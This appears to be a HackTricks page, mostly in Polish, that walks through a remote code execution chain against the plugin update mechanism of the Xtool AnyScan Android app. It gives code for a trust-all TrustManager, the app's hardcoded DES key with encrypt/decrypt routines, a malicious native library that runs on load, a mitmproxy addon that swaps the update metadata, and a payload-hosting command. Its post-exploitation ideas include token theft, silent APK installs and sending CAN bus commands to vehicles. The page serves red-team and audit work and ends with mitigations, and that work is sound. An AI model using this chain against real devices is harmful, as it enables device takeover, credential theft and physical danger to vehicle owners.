Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wiele aplikacji na Androida implementuje własne kanały aktualizacji „pluginów” lub „dynamicznych funkcji” zamiast korzystać z Google Play Store. Gdy implementacja jest niebezpieczna, atakujący, który jest w stanie przechwycić ruch, może dostarczyć dowolny kod natywny, który zostanie załadowany w procesie aplikacji, co prowadzi do pełnego zdalnego wykonania kodu (RCE) na urządzeniu – a w niektórych przypadkach na każdym zewnętrznym urządzeniu kontrolowanym przez aplikację (samochody, IoT, urządzenia medyczne…).

Ta strona podsumowuje łańcuch podatności z rzeczywistego świata znaleziony w aplikacji diagnostycznej Xtool AnyScan (v4.40.11 → 4.40.40) i uogólnia technikę, abyś mógł audytować inne aplikacje na Androida i wykorzystać błędną konfigurację podczas zaangażowania red-teamu.


1. Identifying an Insecure TLS TrustManager

  1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
  2. Look for a custom TrustManager or HostnameVerifier that blindly trusts every certificate:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Jeśli jest obecny, aplikacja zaakceptuje dowolny certyfikat TLS → możesz uruchomić przezroczysty MITM proxy z certyfikatem samopodpisanym:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

2. Inżynieria wsteczna metadanych aktualizacji

W przypadku AnyScan każde uruchomienie aplikacji wyzwala żądanie HTTPS GET do:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Ciało odpowiedzi to dokument XML, którego węzły <FileData> zawierają zakodowany w Base64, zaszyfrowany DES-ECB JSON opisujący każdy dostępny plugin.

Typowe kroki poszukiwania:

  1. Zlokalizuj rutynę kryptograficzną (np. RemoteServiceProxy) i odzyskaj:
  • algorytm (DES / AES / RC4 …)
  • tryb operacji (ECB / CBC / GCM …)
  • klucz / IV zakodowany na stałe (często 56-bitowe klucze DES lub 128-bitowe klucze AES w stałych)
  1. Ponownie zaimplementuj funkcję w Pythonie, aby odszyfrować / zaszyfrować metadane:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

3. Stwórz złośliwy plugin

  1. Wybierz dowolny legalny plugin ZIP i zastąp bibliotekę natywną swoim ładunkiem:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Zaktualizuj metadane JSON, aby "FileName" : "PWNED.zip" oraz "DownloadURL" wskazywały na twój serwer HTTP.
  2. Zaszyfruj DES-em + zakoduj w Base64 zmodyfikowany JSON i skopiuj go z powrotem do przechwyconego XML.

4. Dostarcz Payload za pomocą mitmproxy

addon.py przykład, który cicho zamienia oryginalne metadane:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Uruchom prosty serwer WWW, aby hostować złośliwy plik ZIP:

bash
python3 -m http.server 8000 --directory ./payloads

Kiedy ofiara uruchomi aplikację, to:

  • pobierze nasz sfałszowany XML przez kanał MITM;
  • odszyfruje i sparsuje go za pomocą wbudowanego klucza DES;
  • pobierze PWNED.zip → rozpakowuje w prywatnej pamięci;
  • dlopen() dołączoną libscan_x64.so, natychmiast wykonując nasz kod z uprawnieniami aplikacji (kamera, GPS, Bluetooth, system plików, …).

Ponieważ wtyczka jest buforowana na dysku, tylne wejście utrzymuje się po ponownych uruchomieniach i działa za każdym razem, gdy użytkownik wybiera powiązaną funkcję.

5. Pomysły na post-eksploatację

  • Kradnij ciasteczka sesji, tokeny OAuth lub JWT przechowywane przez aplikację.
  • Zainstaluj APK drugiego etapu i cicho zainstaluj go za pomocą pm install (aplikacja już ma REQUEST_INSTALL_PACKAGES).
  • Wykorzystaj wszelkie podłączone urządzenia – w scenariuszu AnyScan możesz wysyłać dowolne komendy OBD-II / CAN bus (otwieranie drzwi, wyłączanie ABS, itp.).

Lista kontrolna wykrywania i łagodzenia (niebieski zespół)

  • NIGDY nie wysyłaj wersji produkcyjnej z niestandardowym TrustManager/HostnameVerifier, który wyłącza walidację certyfikatów.
  • Nie pobieraj kodu wykonywalnego z zewnątrz Google Play. Jeśli musisz, podpisz każdą wtyczkę tym samym kluczem apkSigning v2 i zweryfikuj podpis przed załadowaniem.
  • Zastąp słabą/wbudowaną kryptografię AES-GCM i rotującym kluczem po stronie serwera.
  • Waliduj integralność pobranych archiwów (podpis lub przynajmniej SHA-256).

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks